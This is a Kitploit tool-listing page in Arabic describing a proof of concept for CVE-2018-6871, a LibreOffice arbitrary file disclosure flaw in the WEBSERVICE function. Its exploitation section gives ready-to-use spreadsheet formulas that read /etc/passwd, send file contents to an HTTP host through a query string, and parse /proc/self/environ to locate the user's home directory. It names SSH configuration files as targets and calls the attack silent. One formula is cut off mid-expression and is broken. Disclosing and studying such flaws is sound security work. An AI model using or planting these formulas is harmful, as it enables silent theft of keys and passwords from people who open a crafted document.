Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
libreoffice-remote-arbitrary-file-disclosure — Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability | Kitploit
أدوات/GitHubGitHub/jollheef/libreoffice-remote-arbitrary-file-disclosure
Vulnerability AnalysisExploitationData ExfiltrationInformation Gathering
GitHubjollheef/libreoffice-remote-arbitrary-file-disclosure

libreoffice-remote-arbitrary-file-disclosure

Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
969منذ 8 سنواتتمت المراجعة من قبل Kitploit

وصف الثغرة

CVE-2018-6871

الجزء الأول

يدعم LibreOffice دالة COM.MICROSOFT.WEBSERVICE:

root@kitploit:~
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

تُستخدم هذه الدالة للحصول على البيانات عبر URL، وعادةً تُستخدم على النحو التالي:

root@kitploit:~
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

في الأصل:

root@kitploit:~
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

في LibreOffice، لم يتم تنفيذ هذه القيود قبل الإصدارين 5.4.5/6.0.1.

الجزء الثاني

افتراضيًا، لا يتم تحديث الخلايا، لكن إذا حددت نوع الخلية مثل ~error، فسيتم تحديث الخلية عند فتح المستند.

الاستغلال

لقراءة ملف، كل ما تحتاجه هو:

root@kitploit:~
=WEBSERVICE("/etc/passwd")

يمكن أيضًا استخدام هذه الدالة لإرسال ملف:

root@kitploit:~
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

لتنجح العملية، تحتاج إلى إرسال ملفات المستخدم الحالي، لذلك يجب استرجاع المسار الرئيسي (home) للمستخدم الحالي.

root@kitploit:~
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

يمكنك أيضًا تحليل ملفات أخرى، مثل ~/.ssh/config أو ما شابه ذلك.

بالنسبة للصيغ الأخرى غير صيغ LibreOffice Calc، كل ما تحتاجه هو تضمين كائن Calc في مستند آخر (لقد تحققت من أنه يعمل).

التأثير

من السهل إرسال أي ملفات تتضمن مفاتيح وكلمات مرور وأي شيء آخر. معدل نجاح 100%، وصامت تمامًا، ويؤثر على LibreOffice قبل الإصدارين 5.4.5/6.0.1 على جميع أنظمة التشغيل (GNU/Linux و MS Windows و macOS وغيرها)، ويمكن تضمينه في جميع الصيغ التي يدعمها LO تقريبًا.

شكر وتقدير

تم اكتشاف الثغرة بشكل مستقل بواسطتي (@jollheef) وRonnie Goodrich && Andrew Krasichkov (وفقًا لملاحظات فريق LibreOffice).

تنزيل الأداة